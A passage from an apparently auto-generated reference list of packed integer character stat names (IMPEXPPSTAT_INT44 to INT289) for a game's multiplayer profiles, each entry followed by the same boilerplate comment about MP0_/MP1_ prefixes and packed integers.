up to 8 integers +(packed)IMPEXPPSTAT_INT44 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT45 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT46 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT47 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT48 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT49 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT50 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT51 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT52 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT53 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT54 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT55 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT56 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT57 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT58 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT59 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT60 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT61 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT62 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT63 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT64 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT65 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT66 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT67 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT68 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT69 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT70 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT71 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT72 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT73 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT74 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT75 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT76 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT77 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT78 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT79 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT80 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT81 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT82 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT83 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT84 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT85 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT86 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT87 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT88 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT89 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT90 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT91 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT92 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT93 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT94 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT95 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT96 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT97 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT98 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT99 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT100 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT101 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT102 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT103 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT104 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT105 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT106 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT107 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT108 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT109 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT110 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT111 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT112 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT113 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT114 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT115 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT116 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT117 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT118 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT119 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT120 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT121 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT122 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT123 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT124 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT125 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT126 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT127 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT128 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT129 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT130 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT131 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT132 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT133 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT134 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT135 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT136 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT137 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT138 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT139 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT140 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT141 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT142 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT143 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT144 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT145 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT146 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT147 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT148 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT149 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT150 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT151 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT152 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT153 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT154 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT155 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT156 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT157 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT158 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT159 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT160 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT161 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT162 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT163 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT164 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT165 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT166 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT167 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT168 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT169 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT170 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT171 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT172 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT173 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT174 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT175 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT176 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT177 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT178 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT179 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT180 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT181 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT182 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT183 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT184 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT185 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT186 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT187 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT188 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT189 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT190 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT191 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT192 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT193 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT194 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT195 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT196 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT197 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT198 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT199 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT200 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT201 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT202 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT203 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT204 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT205 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT206 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT207 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT208 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT209 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT210 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT211 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT212 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT213 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT214 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT215 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT216 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT217 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT218 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT219 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT220 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT221 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT222 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT223 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT224 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT225 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT226 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT227 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT228 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT229 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT230 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT231 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT232 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT233 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT234 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT235 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT236 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT237 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT238 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT239 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT240 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT241 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT242 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT243 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT244 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT245 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT246 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT247 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT248 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT249 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT250 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT251 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT252 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT253 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT254 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT255 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT256 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT257 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT258 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT259 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT260 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT261 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT262 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT263 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT264 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT265 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT266 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT267 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT268 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT269 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT270 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT271 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT272 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT273 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT274 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT275 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT276 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT277 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT278 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT279 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT280 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT281 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT282 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT283 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT284 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT285 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT286 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT287 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT288 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)IMPEXPPSTAT_INT289 // Add MP0_ or MP1_ // Character Stat with Packed integers 